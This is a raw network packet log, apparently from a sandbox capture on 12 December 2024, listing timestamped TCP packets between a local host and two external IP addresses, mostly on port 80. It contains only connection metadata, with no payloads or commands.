Dec 12, 2024 14:27:11.257514000 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.257527113 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.257551908 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.257570028 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.258158922 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.258169889 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.258203030 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.258219957 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.258800983 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.258815050 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.258841991 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.258856058 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.259489059 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.259500980 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.259537935 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.259552956 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.259929895 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.259942055 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.259967089 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.259982109 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.261662960 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.261674881 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.261730909 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.262680054 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.262691975 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.262727022 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.262746096 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.263405085 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.263456106 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.263540983 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.263587952 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.264297009 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.264317036 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.264343023 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.264358997 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.265372992 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.265387058 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.265418053 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.265434027 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.266061068 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.266108990 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.266237020 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.266278982 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.267129898 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.267182112 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.267266035 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.267306089 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.268115044 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.268162966 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.268282890 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.268316031 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.269323111 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.269335985 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.269357920 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.269375086 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.269557953 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.269594908 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.269594908 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.269629955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.270442963 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.270486116 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.270978928 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.271012068 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.271353006 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.271408081 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.272476912 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.272519112 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.274094105 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.274142981 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.275326967 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.275372982 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.275372982 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.275386095 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.275409937 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.275468111 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.275475979 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.275481939 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.275502920 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.275521994 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.275531054 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.275569916 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.316699982 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:11.316801071 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:11.360681057 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:11.360703945 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:11.362461090 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:11.362468004 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:11.418549061 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.418662071 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.418713093 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.418770075 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.421611071 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.421626091 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.421679974 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.421710968 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.422678947 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.422729969 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.433629036 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.433701992 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.433799028 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.433841944 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.434124947 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.434166908 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.434320927 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.434381962 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.435096979 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.435137033 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.435247898 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.435285091 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.436158895 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.436208010 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.436321020 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.436361074 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.437113047 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.437125921 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.437159061 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.437175989 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.438005924 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.438049078 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.438199043 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.438241005 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.438750982 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.438793898 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.439021111 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.439060926 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.439250946 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.439285994 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.439371109 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.439415932 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.439959049 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.440005064 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.440179110 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.440251112 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.441168070 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.441212893 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.443228960 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.443278074 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.444123983 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.444248915 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.444266081 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.444303036 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.444308996 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.444318056 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.444340944 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.444356918 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.444402933 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.444442987 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.444561005 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.444602966 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.445446968 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.445497036 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.445580006 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.445624113 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.446418047 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.446465969 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.446624041 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.446675062 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.447406054 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.447418928 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.447455883 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.447474003 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.448313951 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.448376894 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.448474884 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.448515892 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.449136972 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.449193954 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.449264050 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.449351072 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.450043917 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.450099945 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.450530052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.450584888 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.451045036 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.451096058 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.451389074 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.451463938 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.452116966 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.452166080 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.452496052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.452544928 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.452852011 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.452896118 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.453499079 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.453547955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.453876019 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.453887939 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.454052925 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.454814911 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.454873085 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.455164909 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.455220938 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.455713987 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.455766916 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.455862045 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.455905914 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.456650019 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.456705093 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.456971884 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.457024097 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.457438946 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.457484007 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.457762003 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.457801104 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.458379030 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.458425999 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.458664894 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.458709955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.459449053 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.459506035 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.459522963 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.459542036 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.460443974 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.460457087 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.460503101 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.461261988 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.461324930 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.462044001 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.462105989 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.462210894 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.462256908 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.463129044 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.463181019 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.463573933 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.463634968 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.463901997 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.463947058 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.464390993 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.464440107 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.464682102 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.464724064 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.465127945 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.465184927 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.465460062 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.465507030 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.465948105 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.465993881 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.466110945 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.466150999 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.467077017 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.467128992 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.467371941 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.467418909 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.468286037 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.468341112 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.468600988 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.468668938 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.469273090 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.469285011 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.469333887 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.469887018 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.469937086 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.470053911 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.470129967 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.470849991 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.470861912 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.470899105 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.470922947 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.471657991 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.471724033 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.471798897 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.471853018 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.472572088 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.472614050 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.472744942 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.472800016 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.473552942 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.473592043 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.473730087 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.473793030 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.474379063 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.474425077 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.474566936 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.474608898 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.475260019 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.475302935 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.475522995 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.475573063 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.476246119 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.476298094 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.476315022 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.476358891 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.477195978 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.477246046 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.477365017 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.477408886 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.477471113 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.477511883 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.477741957 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.477785110 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.478409052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.478452921 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.478638887 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.478678942 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.481321096 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.481378078 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.481468916 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.481508970 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.610732079 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.610759020 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.610770941 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.610784054 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.610857010 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.610857010 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.611181974 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.611226082 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.611521959 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.611565113 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.612107992 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.612122059 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.612147093 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.612164974 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.613044024 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.613085985 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.613114119 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.613166094 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.613957882 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.614000082 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.614835024 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.614883900 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.614921093 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.614936113 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.614959955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.614983082 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.615819931 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.615871906 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.616178036 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.616221905 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.616774082 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.616816998 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.617789984 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.617801905 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.617830038 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.617857933 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.617875099 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.617913008 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.618745089 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.618791103 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.618880033 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:11.618922949 CET	49907	80	192.168.2.4	185.215.113.16
